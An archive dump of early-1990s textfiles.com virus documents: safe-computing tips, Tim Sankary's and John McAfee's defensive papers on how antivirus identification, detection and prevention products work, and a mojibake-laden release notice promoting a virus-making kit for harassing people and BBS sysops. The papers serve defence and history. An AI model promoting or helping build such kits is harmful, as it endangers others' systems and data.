file attributes.
* Use extreme caution when working with FAT and
directory editors, directory sorters, disk
optimizers, file movers, format-recovery
systems, partition-related tools, un-erasers
and other low-level DOS utilities. These
programs manipulate critical data and one bug
or errant keystroke can annihilate a disk.
Additionally, DOS shells should be treated
with care as they also handle critical disk
information.
Safe bets for low-level disk management are
the Norton Utilities, Advanced Edition, from
Peter Norton Computing, Inc.; PC-Tools from
Central Point Software and the Mace Utilities
from Paul Mace Software. Among DOS shells,
we recommend the Norton Commander, also from
Peter Norton Computing, Inc. These programs
are available at most computer retailers.
* Do not run files downloaded from public
access BBSes (bulletin board systems) that do
not validate users who upload. If the SysOp
of a bulletin board did not contact you
directly (by phone, mail or automatic
callback), you can be certain that other
users have not been validated. (SysOps: If
validating users is a burden, a practical
alternative is to validate them after they
upload their first file.)
* Do not run files downloaded from public
access BBSes where the SysOps do not test and
approve all files.
* Do not run files provided by shareware/public
domain disk distributors, including your
local users group, where the disk librarians
do not test and approve all files.
* Do not run self-extracting archives unless
they have been tested. Self-extracting
archives are a classic delivery method used
by bomb developers.
* Beware of suspicious-looking files. A 128
byte .COM file that un-archives without
documentation and whose description reads
"Great Word Processor" is suspect.
* Use a binary file-viewing utility (like the
one included in the Norton Commander) to
examine executable code. Look for suspicious
comments and messages embedded in the code.
* Do not run programs unaccompanied by
well-written documentation prepared by the
program's author.
* Do not run programs that do not include the
name, address and telephone number(s) of the
author within the documentation or
executable(s).
* Call program authors and verify the version
number, time and date stamps, file sizes and
archive contents of files you have received.
!<21> Ask authors where you can get certified clean
copies of their programs, then discard the
copies you have and get the certified copies.
* Download shareware direct from the author's
BBS. Most professional shareware authors
provide support BBSes for their products.
You are guaranteed uncorrupted programs when
you download them directly from their
authors.
* Do not use hacked or pirated software.
Software pirates have the skill and the tools
needed to create bombs and viruses. Many
reported incidents of viral infections have
been associated with software piracy. In
fact, some of the deadliest Trojans have been
modified copies of well-known applications.
* Back-up your system regularly! No system
exists in a vacuum, nor is any anti-virus or
anti-Trojan technique foolproof. Back-up on
a daily, weekly and monthly basis. When
disaster strikes, users who have regularly
backed-up their systems will have the last
laugh (and their data)!
If you are not using a virus detection system or you
are using a less-than-perfect virus detection system, how
can you tell if a virus has landed on your system and begun
eating away at your precious data? The following
guidelines, also excerpted from CHECKUP's documentation,
will help you identify the viral warning signs:
1. Computer operations seem sluggish.
2. Programs take longer to load.
3. Programs access multiple disk drives when
loading where they didn't before.
4. Programs conduct disk accesses at unusual
times or with increased frequency.
5. Available disk space decreases rapidly.
6. The number of bad disk sectors steadily
increases.
7. Memory maps reveal new TSR programs of
unknown origin.
8. Normally well-behaved programs act abnormally
or crash without reason.
9. Programs encounter errors where they didn't
before.
10. Programs generate undocumented messages.
11. Files mysteriously disappear.
12. Names, extensions, dates, attributes or data
changes on files that have not been modified
by users.
13. Data files or directories of unknown origin
appear.
14. CHECKUP (or another reliable virus detection
system) detects changes to static objects
(files). Changes detected to dynamic objects
are not an indication of viral alterations.
Rest assured that neither you nor anyone you know will
suffer a major data loss from a viral attack if
safe-computing measures are implemented religiously. When
and if a viral infection is discovered, turn your computer
off and contact a good viral diagnostician for eradication
advice. Do not use your computer or any floppy disks
associated with your computer until your system has been
thoroughly cleansed. Above all, however, enjoy computing
and the thousands of quality public domain and shareware
programs at your disposal. Take comfort in the knowledge
that safe-computing techniques, employed properly, will
serve to protect your data from harm.


2377
textfiles.com/virus/ibmpaper.vir Normal file
View File

File diff suppressed because it is too large Load Diff

339
textfiles.com/virus/identify.txt Normal file
View File

@@ -0,0 +1,339 @@
The following document is copyrighted, 1989, by Tim Sankary -
all rights reserved. It may be copied and distributed freely as long
as no changes are made and as long as this copyright notice remains
with the document
I want to preface this document with a personal statement. I
am aware that Jim Goodwin has published a partial list of his virus
disassemblies and I can imagine the controversy that will result. I
do not have an inside track to the "truth" of this Distribute/Don't
Distribute issue, and I can frankly see both sides of the argument. I
find it hard, however, to censure a colleague who has performed such
excellent and dedicated work as Jim has, and I have to admire his
courage in taking such a controversial step. For those of you who
anticipate writing or designing Identification and Removal programs
(CVIA Class III programs) for viruses, I hope you will find something
of value in the following study that will be useful. If you have
access to disassemblies, this document may provide some insights into
designing your own disinfectant.
I would like to thank "Doc" John McAfee for his guidance and
help in developing this paper, and the Computer Virus Industry
Association for the outstanding visual aids that they contributed.
These figures have been referenced in the paper but I have been unable
to create ASCII representations of them for BBS distribution. If you
obtained this document from an electronic source and would like a copy
of the figures, they can be obtained by sending a stamped, self
addressed envelope to the CVIA, 4423 Cheeney Street, Santa Clara, CA.
95054. - Tim Sankary
From the Homebase BBS
408 988 4004
DEVELOPING VIRUS IDENTIFICATION PRODUCTS
In January of 1986, the world's first computer virus was
unleashed upon an unsuspecting and largely defenseless population of
global IBM personal computers users. The virus originated in Lahore,
Pakistan, and spread rapidly from country to country through Europe
and across to the North American Continent. In less than twelve
months it had infected nearly a half-million computers and was causing
minor havoc in hundreds of universities, corporations and government
agencies.
This virus, later dubbed the "Pakistani Brain", caught the
user community unawares and the problems resulting from its many
infections demonstrated how unprepared we were for this phenomenon.
The computer systems targeted by the virus contained no specific
hardware or software elements that could prevent or even slow its
spread, and few utilities could even detect its presence after an
infection occurrence. Fortunately, the virus was not destructive, and
it limited its infections to floppy diskettes; avoiding hard disks
entirely.
The first defensive procedure developed to counteract this
virus involved a simple visual inspection of a suspected diskette's
volume serial label. The virus erased every infected diskette's
volume label and replaced it with the character string - "@BRAIN".
Thus, any inspection of the volume label, such as performing a simple
DIRECTORY command, would indicate the presence or absence of the
virus. An infected diskette could then be reformatted, or the virus
could be removed by replacing the boot sector. This manual procedure
is a typical, if somewhat rudimentary, example of the type of
functions performed by a class of antiviral utilities commonly called
Infection Identification products.
Infection identification products generally employ "passive"
techniques for virus detection. That is; they work by examining the
virus in its inert state. This contrasts with active detection
products which look for specific actions employed by a virus. For
example, looking for a Format instruction within a segment of code on
a disk would be a passive method of detecting a potentially
destructive program. If we detected the Format attempt during program
execution, however, we would be performing an active detection.
Passive methods concern themselves with the static attributes of
viruses, active methods concern themselves with the results of virus
execution.
Example active indicators are: the attempted erasure of
critical files, destruction of the FAT table, re-direction of system
interrupt vectors, general slowdown of the system, or an attempt to
modify an executable program. These indicators are generic; that is,
they are common to a large class of viruses. Because so many viruses
perform these common activities, however, they are of little use in
identifying individual virus strains. It is the passive virus
indicators that prove most useful to a positive identification: The
characteristic text imbedded within the virus, specific flags,
singular filenames or a distinctive sequence of instructions that are
unique to the virus. These and other similar indicators can best be
ascertained by scanning system storage and examining the program files
and other inert data.
History
Virus identification products have their genesis in the
utility programs first developed in 1982 and 1983 to check public
domain software for bombs or trojans before they were executed. These
utility programs initially checked for questionable instructions in
the suspect program's object code. Direct input/output instructions,
interrupt calls, format sequences and like instructions, if found,
were flagged and the user was notified. Later versions included tests
for imbedded data strings that were typically used by trojan
designers. Suspect programs were scanned for profanity, for keywords
like "gotcha" or "sucker", and for data strings that had been found in
specific trojan programs. Some programs looked also for specific
names of files that were frequently used by trojans and bombs.
These products, however, were seldom able to identify a
specific bomb or trojan. Rather, they indicated that the suspect
program contained instructions or messages of a questionable nature -
implying that the program might be a generic trojan. This, however,
is not sufficient for dealing with viruses.
Viruses create entirely different problems than bombs or
trojans. Viruses replicate, and can infect hundreds or even thousands
of programs within an installation. They remain invisible for long
periods of time before they activate and cause damage. And, they are
difficult to remove because they imbed themselves within critical
segments of the system. It is not sufficient to know that a virus is
present, it is necessary to know which virus is present. We must know
how it infects, what actions it takes, and, most importantly, what
must be done to de-activate and remove the virus.
Thus, when the first virus identification products emerged in
1986 they didn't just look for generic code or messages, they looked
for specific indications that could identify the individual virus
strain. This allowed the user to verify a specific infection
occurrence and take appropriate action. Later versions of these
products went a step further. They actually removed the virus when an
infection was identified.
Techniques
Before we discuss the techniques used by identification
products, we need to look briefly at how viruses insert themselves
into programs. As shown in Figure 1, viruses actually modify the
structure of the programs that they infect. Generally, the virus
replaces the program's start-up segment with a routine that passes
control to the main body of the virus. This main body code may be
inserted within the program in a buffer area, or it may be added to
the beginning or the end of the program. After execution of the
virus, the program's original start-up sequence is replaced and
control is passed to the program.
When removing a virus from an infected program, it is crucial
to determine exactly how the virus modified the program. Each virus
differs from other viruses in size, segmentation and technique. Each
virus chooses a different area for infection, stores the start-up
sequence in a different location. and return control in a different
manner. We must know exactly what the virus did during the infection
process in order to reverse the steps for removal.
Thus, it should be clear that in order to develop an antidote
for a specific virus, we must first obtain a copy of the virus for
analysis. A thorough analysis of the structure and design of the
virus will provide the answers to all of the above questions.
When a virus has been disassembled and analyzed, we in theory
know all there is to know about the virus. We are then able to create
an "attribute file" for the virus. This file contains all of
characteristics of the virus that can be uniquely assigned to the
virus. For example, we may find imbedded data within the virus that
we would not reasonably expect to find in any other program or data
file. Or we may find an instruction sequence that is sufficiently
unusual that we would not expect any other program to use the exact
same sequence. Figure 2 shows two virus examples that contain unique
imbedded data. In the Pakistani Brain example, it is clear that we
would not expect to find the exact same name, address and telephone
number in any other program.
In addition to "identification" attributes, the attribute file
contains all information necessary to reverse the virus infection
process. Common elements of an attribute file might be:
- Executable code signatures
- Volume label flags
- Hidden file names
- Absolute sector address contents
- Key data at specific file offsets
- Specific interrupt vector modifications
- ASCII data content
- Specific increases in bad sector counts
When the attribute file has been created, it is inputted into
a program that scans all of the appropriate areas of system storage
looking for combinations of the attributes. As more attributes are
discovered, the degree of assurance that the virus is present
increases. For example, the character string "sUMsDOS" is common to
all versions of the Israeli virus. It is conceivable, however, that
the same string could appear randomly in any text file. Therefore,
the identification program will look for verification attributes, such
as the file offset where the character string was located, or a
sequence of instructions following the data.
When the virus has been identified, the removal phase begins.
Since the infection attributes of the virus are known, the removal
process is fairly straightforward. Usually it involves locating the
main body of the virus and all segments of the original program that
had been re-located by the virus. The virus is erased, and the
program is then re-constructed.
Clearly, multiple attribute files can be used by a single
program. Thus, single identification products are able to identify
multiple strains of viruses (see Figure 3).
Product Advantages
Infection identification products have a major advantage over
other types of virus protection products: They are able to determine
whether or not a system is already infected. This is a serious
concern in many organizations. Other classes of virus protection
products must assume that a given system is uninfected at the time the
products are installed. They log the state of the system at the time
they are installed and periodically compare the current state to the
original state. If a virus has infected the system in the interim,
the change will be detected. If a virus has already infected the
system before such products are installed, however, the virus will be
logged as part of the original system, and no change will be detected.
Infection identification products, on the other hand, are
specifically designed to look for and identify pre-existing
infections. This ability to identify an existing infection is in many
cases crucial to the success of implementing antiviral measures.
Since a virus may remain dormant for months or even years before it
activates and damages the system, pre-existing infections could cause
widespread destruction in spite of our best efforts at implementing
protection programs.
Automatic removal is the second advantage of identification
products. Virus infections can sometimes involve hundreds or
thousands of programs within an organization. When the virus is
discovered, the task of tracking down and disinfecting all of the
infected programs can become monumental. In many cases, multiple
versions of a single program may be infected, or the original source
diskettes may have been lost or misplaced. In some cases, infected
programs may be overlooked or incorrectly replaced, so that re-
infection becomes a problem. These and other issues invariably cause
problems. The identification products, however, automatically find,
identify and remove the infection, normally at a rate of a few seconds
per infected program. The time savings alone can be enormous.
A third advantage to identification programs is that they
cannot be circumvented by a known virus. Other types of products that
use active methods for infection prevention or detection can be
specifically targeted by viruses. The virus can seek out and destroy
or disable the active element of such products. For example, if the
product is a filter type product that monitors all system I/O, the
virus can steal the interrupts from the monitor and thus bypass the
program's checking function. Likewise, if a protection program uses a
checksum or other method to look for change within a program, the
virus can modify the program's checksum routine so that the change
caused by an infection will not be detected. These and other
techniques have been used by many viruses to avoid interference by
antiviral programs that use active detection methods.
Identification products, on the other hand, cannot be so
easily circumvented. Since these products use passive techniques, the
virus has no control over the products' functions. Keep in mind that
the virus and its resultant system modifications are merely a sequence
of inert bits as far as the identification product is concerned. Also
the virus is not active at the time the product is being used (all
such products come with their own boot diskettes, and they run
stand-alone). Thus, the virus can in no way affect the product's
operation, or even be aware of its presence.
Problem areas
There are some drawbacks to identification products however.
The first problem is that these products only work for known viruses.
That is, a virus that has been around long enough to be noticed,
isolated, sampled, disassembled and analyzed. This may take a
considerable time if the virus is unobtrusive and slow to activate.
When the virus has been discovered and analyzed, the identification
product must be designed, implemented, packaged, marketed and
distributed - a process that could take considerably more time. Thus
identification utilities will lag new virus developments by months, or
in some cases, even years. This time lag implies that there will
always be new viruses, and thus new dangers, against which no
identification utility will be effective.
The second problem with these products is more thorny, and
requires a high level of product sophistication in order to resolve. At
issue is a phenomenon that might be called the Uncertainty Factor, and
it is caused by the increasing tendency of hackers to collect existing
viruses, modify them and return them to the public domain. These
modifications sometimes cause viruses to react differently from the ways
in which they were originally designed, yet they may leave key
identification attributes unchanged.
For example, the Jerusalem virus was originally designed to slow
down the infected machine's processor one-half hour after an infected
program was executed. This slowdown was a nuisance to the user of the
infected machine, but it severely limited the spread of the virus,
because the virus made itself known early in the infection process and
had limited time to replicate before being removed. In the summer of
1988, an unknown hacker modified the virus by changing just one
instruction (see Figure 4). This modification disabled the routine that
caused the system to slowdown, and as a result, the virus became many
times more infectious.
Modifications like this, and other more substantial
modifications, are made almost daily to existing viruses. The danger
that these modifications pose to identification products is substantial.
If an identification product is attempting to remove a virus that has
infected a program differently than the way in which the product
expects, then the results of the disinfection will be unpredictable.
Damage to the system may result, the program may be destroyed or, in the
worst case, the virus will still be active even though the product
thinks it has removed it.
In order to minimize the risks posed by this problem,
identification products must be designed to cross reference as many
virus attributes as possible prior to attempting removal. If any one of
the expected attributes has been changed, or is missing, the product
should notify the user of the potential problem and manual intervention
will be required.
Future Prospects
Identification products clearly must play a major role in the
battle against computer viruses. As viruses become more widespread and
as infections become more common, the need for utilities able to
identify and help remove viruses will become apparent. It is probable
that these products will become the dominant form of virus protection in
the future. A few technical advances, however would greatly aid their
general acceptance.
One of the problems facing identification products is the time
required to fully scan attached storage devices when searching for a
virus. For example, as many as ten or more minutes can be required to
fully scan a 40 megabyte drive while looking for just one virus.
Multiple virus checks require more time. Because of this, it is
impractical to perform frequent scans of the system. This is
unfortunate because it would be advantageous to perform a complete
identification check of a system each time the system was booted. This
would provide a high degree of system security, assuming that the
identification product was kept up to date. More sophisticated
algorithms for searching attached storage and creative techniques for
multiple virus scans could alleviate the time scan problem.
A second desirable advance in the technology of these products
would be the development of techniques that could identify variations of
known viruses and still provide the capability to remove the modified
virus. This advance would remove a major limitation of the current
products and would greatly increase their reliability. Techniques for
removing variations have already been developed for a few root viruses,
but there currently exists no generic technique that is effective for a
large class of viruses. I anticipate that this hurdle will be overcome
within a year or two.
A final enhancement would be the ability to fully or partially
re- structure data that has been corrupted by a virus after it has
activated. Currently, infection identification products are only useful
if they are used before a virus begins its destructive phase. When the
destructive phase begins, the virus may destroy critical control tables,
data files, programs or even itself. At this point all current virus
products have limited usefulness.
It is possible in some cases, however, to reverse much of the
destruction caused by a virus provided: 1) We know the details of the
destruction process, and 2) The destructive phase has not gone on too
long. For example, one of the common PC viruses scrambles the File
Allocation Table by reversing a number of the entries. Since we know
the exact way in which the virus scrambles the information, we can
easily unscramble it. However, after a few days of data scrambling, the
virus initiates a low level format of the hard disk. At this point, no
recovery is possible.
I anticipate that future products will incorporate recovery
capabilities for a large number of virus destructive acts. This
capability, and others described above, should provide the best virus
protection that we can hope to achieve.

36
textfiles.com/virus/illegal.nfo Normal file
View File

@@ -0,0 +1,36 @@
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<20> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><> <20> <20> <20><> <20><><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD> <20>
<20> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20> <20><><EFBFBD> <20> <20> <20> <20><> <20> <20> <20><><EFBFBD> <20>
<20><> <20> <20><><EFBFBD><EFBFBD><EFBFBD> <20><> <20> <20><><EFBFBD><EFBFBD> <20><> <20><> <20> <20> <20><> <20> <20> <20><> <20> <20>
<20><> <20> <20><><EFBFBD><EFBFBD><EFBFBD> <20><> <20> <20><><EFBFBD><EFBFBD><EFBFBD> <20><> <20> <20> <20><> <20> <20><> <20> <20> <20><> <20><><EFBFBD> <20><>
<20><> <20> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20> <20><> <20><><EFBFBD> <20><>
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<20> THe uNSTOPPaBLe CRiMe MaCHiNe <20>
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-
įRELEASE<53>INFOMATION<4F><4E>
File name : [.IL-SMG03.ZIP..............................................]
Created by : [.Dr.d00M...................................................]
Date : [.11/12/94..................................................]
Special Intruction : [.Really piss people off with this one.............]
General Instruction : [.You need to know a little bit about programming..]
[.to get this one to work, but the examples make...]
[.it VERY easy to make your very own virus.Just....]
[.read the docs, and all will become clear.Easy....]
[.to piss of people and BbS sysops you don't like,.]
[.and get your name in some computer mags !!!......]
[..................................................]
Greetz go out to : [.Everyn Carnate, Lucifer, The Big H, Bof..........]
[.The Black Baron..................................]
[..................................................]
[..................................................]
[..................................................]
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-

765
textfiles.com/virus/implemen.mca Normal file
View File

@@ -0,0 +1,765 @@
IMPLEMENTING ANTI-VIRAL PROGRAMS
Copyright (c) 1989
By John McAfee
4423 Cheeney Street
Santa Clara, CA 95054
408 988 3832
In 1988 the Computer Virus Industry Association received over
25,000 requests for information about computer viruses from
corporations, government agencies, special interest groups, and
individual computer users. Questions ranged from - "How do I know if
my system is infected?" to - "Where can I get a copy of a virus to play
with?" A large number of organizations wanted to know if the CVIA
recommended procedures or policies that would minimize infection risks
(it does). A smaller number requested help in setting up in-house
anti-virus training seminars. Some asked for help with removing an
existing infection or with identifying the individual strain of virus
that they had discovered. Others wanted to know why a particular virus
infection kept recurring. A few wanted to know whether or not viruses
really existed (is it all media hype?). One apparently legitimate
caller wanted to know if any cases of human infections had been
recorded - the winner in the imaginative question category.
Within this body of requests, however, were two questions which
have become the two most frequently asked (and most difficult to
answer) questions concerning computer viruses. They are: "How can you
tell whether or not a particular anti-viral program really works?" and
"How do these products function?".
At first glance, the answer to the first question seems obvious -
test it and see. Just how, though, is not entirely clear to the
average computer user. A person seriously trying to put together a
test plan for validating anti-viral products will be faced with some
staggering problems. Imagine yourself with such an assignment. The
first problem that might come to mind is where to find a few dozen
viruses that can be used as a test bed. Next (assuming that someone
else will solve that problem or that it will otherwise go away), is how
to go about running these viruses in a test environment without
infecting your entire organization.
If you overcome these first obstacles, you will then come face to
face with the real issues: How do you measure the degree of the
product's effectiveness, considering the fact that all viruses affect
the computer system differently, and many show no measurable impact for
months, or even years, after the initial infection? How do you test a
product against "generic" viruses - that is - viruses that may not have
been written yet but against which the product claims to be effective?
(There are, by the way, effective generic anti-viral products). How do
you even verify that a given virus has or has not infected the system
during a test? Many viruses leave no externally visible trail - not
even the size of the infected program will change. Additionally, many
viruses have anti-detection mechanisms built in that make it extremely
difficult to find the virus after an infection.
These are just a few of the problems that will crop up during the
development of an anti-viral product test plan. And the problems will
not be helped by the slim likelihood of achieving points one and two
above: You will likely find it difficult to acquire a test bed of live
viruses and if you do, it is unlikely that you can carry out a
successful extended test without endangering the rest of the
organization. Experience has shown us that virus containment is a
tricky task. They are extremely difficult to detect without special
tools and they spread very quickly. Even if a completely isolated
environment is used for testing, there will, from time to time, be a
requirement to carry potentially infectious media into and out of the
environment. The propensity for human error being what it is, a leak is
virtually guaranteed given enough time or enough participants.
There have been well meaning, but generally flawed attempts to
solve some of the above problems through the development of virus
simulators and specialized tools designed to validate anti-viral
products. Most of the available utilities, however, were designed by
the very people who manufacture and market the anti-virals, and their
objectivity might be open to question. A second problem with these
utilities is that not all virus activity can be simulated. Every new
virus uses a different technique for trapping interrupts, bypassing the
operating system or attaching to an application. Additionally, its
technique for activating or causing damage will differ, and its basic
replication mechanism will be unique. Because of these problems, the
validation programs have limited utility.
Does this mean the task is hopeless? Not at all. It simply
means that some education is in order. The first thing needed is an
understanding of just how anti-viral products work. By understanding
what these products do, we can better address the question - "how
effective are they?".
Types of Products
The virus problem has typically been addressed in one of three
ways by individual antiviral programs:
1. By preventing generic viruses from initially infecting a
system. These products are not keyed to any particular
virus. They work by preventing any activity that could
modify a program or executable segment of the system.
2. By detecting a generic infection after it has occurred.
These products also are not keyed to any particular virus.
They look for any modification that may have occurred to any
executable component of the system.
3. By identifying specific viral strain infections and,
usually, removing them. These products are effective only
against known viruses.
There has been much confusion about the relative utility of virus
products due to a limited understanding of the above categories. Some
critics, for instance, have stated that anti-viral products have
limited utility because they only work against known viruses. This
statement is valid, however, only for the third category of products.
These products have been designed primarily to help remove existing
infections and their benefit is apparent to anyone who has been
infected and had used such products to clean their system. All of the
more common virus strains are addressed by these products and a user's
chances of acquiring a product that can fight a given infection are
fairly good. Most such products list the specific viruses that they
can remove.
Another common misconception involves the "Vaccines". These
products "inoculate" programs with a self test mechanism that can
identify changes to the program. They are frequently thought of as
prevention products because the word "vaccinate" connotes a preventive
measure in general medicine. These products, however, are in reality
infection detection products. They work only AFTER the program has
become infected. Reviewers have frequently (and erroneously) pointed
out that such products don't work because they didn't prevent a given
infection.
Likewise, infection prevention products have been panned because
they were unable to "identify" a pre-existing infection. This
confusion has reached a pinnacle in some of the organized efforts to
formally evaluate anti-viral products. The test criteria for a product
designed to remove an existing virus infection must be radically
different from the test criteria for products designed to prevent the
infection from occurring, and these criteria in turn will not be
applicable to infection detection products. Yet numerous evaluations
have been performed in which all three product types were judged by the
same criteria. The results, to some minds at least, were completely
meaningless.
It must be understood that each product category is designed for
different purposes, and is intended to be applied to different virus
problem areas. A first prerequisite to testing product effectiveness,
therefore, would be a solid understanding of what the product was
intended to do, and how the product goes about doing it.
How They Work
Let's start with the infection prevention products. These
products are all memory resident programs that re-direct system
interrupts so that I/O and other selected system activities can be
monitored. The programs then filter all activity that could indicate
the presence of a virus and they notify the user of a potential
infection. Attempts to modify the boot sector, write to an executable
program or replace a hidden file are examples of activities that would
be intercepted and flagged by such programs. Generally, any activity
that appears to be an attempted modification of an executable segment
of the system, such as a device driver, operating system module or
application program, would be filtered.
These programs are the first line of defense against viruses, and
if properly designed and implemented, can prevent a virus from ever
getting into a system. Since they can catch a virus before it can
replicate, no removal or disinfection procedure is required and the
virus usually has no time to do any damage to the system. These
programs are also generic in their operation - that is, they can in
theory catch viruses that have not yet been developed. This is because
all viruses must replicate, and it is the generic replication process
(i.e. attaching to an executable segment of the system) that is
monitored by such products.
These products, however, have three drawbacks which restrict the
environments to which they can be applied and limit the effectiveness
of their prevention abilities.
The first drawback is that a fair amount of technical competence
is required in order to use them effectively. Users must be able to
discriminate between a legitimate program activity that is flagged by
the product and a real virus threat. Numerous legitimate programs may
at times perform functions that appear to be questionable. For
example, some applications modify their own executable modules during
their configuration phase. Compilers, assemblers and linkage editors
legitimately modify or replace executable code. The DOS SYS command
will legitimately modify the boot sector and operating system files.
These and other programs may cause the anti-viral prevention product to
flag the activity and notify the user. The user must then have a
sufficient knowledge of the program or activity in process to
determine whether to allow it to proceed or to terminate it. Many
system users do not have the necessary technical depth to make a valid
decision.
A second drawback is the de-sensitization of the user caused by
the false positives generated by these programs. If the prevention
product flags too many legitimate activities, the user becomes
conditioned to respond to the warning messages with a "continue" reply,
without bothering to read the specific warning content. In many cases,
real viruses have been detected by these products and the user ignores
the warning message through course of habit.
The third drawback to these products is that they rely on the
virus being "well behaved" in its design structure. That is, they
expect the virus to perform all I/O through normal system calls or
software interrupts. Generally this is a reasonable
assumption, since it is many times simpler to use the I/O
facilities of the operating system than it is to develop your own
basic I/O system. It also allows the program to operate on a
wider variety of hardware without risk of program failure. Some
virus designers, however, are beginning to take the extra effort,
and run the increased risks, of interfacing directly to the
hardware input/output devices. By doing so, they completely
neutralize the infection prevention products' interrupt
monitoring. No matter how cleverly software interrupts are
trapped, or memory monitored, it is ineffectual if the virus
never gives up processor control through an operating system
call.
In general then, we can say that infection prevention
products provide the advantage of stopping a virus before it can
infect your system and thereby prevent the virus from spreading.
They also are effective against a large class of generic viruses.
They should be used, however, only by competent system users, and
- they contain a major loophole that can be used by sophisticated
viruses to avoid the product's protection mechanism..
Infection Detection Products
Infection detection products rely on the assumption that it
is advantageous to discover an infection as soon as possible
after it occurs. Viruses remain in systems for months or even
years prior to activating and causing system damage. During this
time their only activity is replication, and they take every
precaution to remain undetected. Viruses require this
"unobtrusive" phase in order to have the opportunity to duplicate
themselves onto other systems - a necessary step in the process
of spreading. Infection detection products, then, attempt to
identify an infection as soon as possible after it has occurred,
thereby limiting the spread of the virus within the organization
and avoiding the virus destructive phase.
Detection products operate in one of two ways: vaccination,
or status logging. Vaccination products modify the system's
executable code (programs, device drivers, etc.) to include a
self test mechanism. This self test function will cause a
warning whenever the code has been modified. The warning will
occur at the time the code is executed. Status logging
products, on the other hand, create a log file that contains all
the information necessary to detect any questionable change in
the system. The file usually contains a list of checksums of the
executable code in the system, or it may contain other such
information that can be used to identify change. A check
function is then run periodically, usually at boot time, to
evaluate the boot sector, operating system files, device drivers
and all application programs. If a modification is discovered, a
warning message occurs indicating the areas of the system that
have become infected.
It should be noted at this point that detection products
will only work if the system is uninfected at the time the
product is installed. If an infection has already occurred, the
virus code will be logged as part of the program it has infected
and the compare routines will never find the discrepancy.
Detection products avoid the interrupt monitoring loophole
of the prevention products. Because, irrespective of the
sophistication of the virus infection mechanism, some segment of
executable code will have changed after the infection has
occurred, and detecting this change is usually a straightforward
process. The disadvantage of such products, however, is that,
unlike prevention products, the system must actually become
infected before the flag is raised. Thus a disinfection process
must be undertaken and there is also a slight risk that the virus
will activate and cause damage before it can be detected.
An additional drawback of the vaccination type of detection
products is that many viruses cannot be detected using this
method if they replace an entire section of code rather than
modify it. Boot sector viruses are a prime example. They
replace the boot sector with themselves. Thus, any vaccination
code that had been applied to the boot sector would never have an
opportunity to execute, and no warning would ever occur. This is
a serious drawback of the vaccination approach.
Infection Identification
Identification products are designed to identify and, in
some cases, counteract specific strains of existing viruses.
They are not generic in function, that is - they cannot detect or
remove viruses that are not commonly known. They work by
scanning the system media, looking for characteristic code
segments, identification flags or other signs left by a given
virus strain. Since viruses are programs with specific functions
and characteristics, each will have some unique discriminating
attribute that can be used to distinguish it from the surrounding
data and code indigenous to the system. Finding these unique
attributes within the system is a certain sign of infection from
the identified virus.
Identification products perform two distinct functions:
First, they can be used to scan a system and determine if it is
infected with a given virus. Using multiple identification
products (or a single product capable of identifying multiple
viruses), a user can determine whether any of the more common
viruses have already infected the system. This will provide a
higher probability that the system is clean prior to implementing
a prevention or generic detection product. Second, they are
invaluable in helping to remove an existing infection from an
organization.
One of the major difficulties in removing a virus from an
organization that has suffered a widespread infection is
identifying all of the programs, files, removable media and other
elements of the system that have been affected. Identification
products can quickly and reliably size the scope of an infection
and identify those elements of the system that must be
disinfected. In many cases the products can, in addition, repair
any damage that has been done and restore the system to its state
prior to the infection. A great deal of manpower and other
resources can thus be saved through the use of such products.
Identification products are limited, however, in providing
protection against newer viruses, or older viruses that may not
have publicly surfaced. In order to develop an identification
product, the virus must first be discovered and isolated. Then
it must be disassembled and analyzed. Finally an effective
countermeasure must be designed, implemented, and distributed to
the public. The time lag for this process will stretch from a
few months to a year or more. This "window of opportunity" for
new virus developers will be a continuing barrier for such
products.
The three types of protection products that have been
described above are not always clearly separable in the
marketplace. Some products combine two or more programs, each
addressing a single protection area, into a single package, much
like a set of virus utilities. Other products may focus on a
single type of protection but only provide a partial solution.
For example, there exist infection detection products that will
only detect changes to operating system files, ignoring all other
executable code. All products to date, however, provide
protection programs that can be grouped into one or more of the
above categories.
Important Features:
Now that we have a fair understanding of what these products
are doing, we can address the issue of "how well do they work?".
Each type of product, it should be clear by now, should have a
different set of criteria for judging performance. Let's take a
look at these criteria:
Infection prevention criteria:
Infection prevention products should, at the minimum, be
able to:
- Differentiate between activities initiated by the user
and activities carried out autonomously by programs.
For example: Users may frequently delete or update
program files or operating system segments, and this is
a normal system activity. An application program, on
the other hand, should not, under normal circumstances,
modify another application program, an operating system
program, or the system's boot sector. Such processes
are indicative of virus activity. The infection
prevention product should be able to discriminate
between them.
- Provide few false positives, or false alarms. Users
become habituated to frequent false alarms and tend to
overlook a valid virus warning when it does occur.
- Run with other memory resident programs. Infection
prevention programs are all memory resident and they
modify a large number of software interrupts. This
gives such programs a propensity for crashing or
hanging the system when running concurrently with other
memory resident programs.
- Protect against modifications to all executable data,
including the following:
- The system's boot sector
- All system device drivers
- All operating system modules, including hidden
file programs
- All application programs
- Provide an easily accessible enable/disable switch.
Many instances will occur where the checking process
will need to be temporarily suspended. A simple on/off
switch is a necessity.
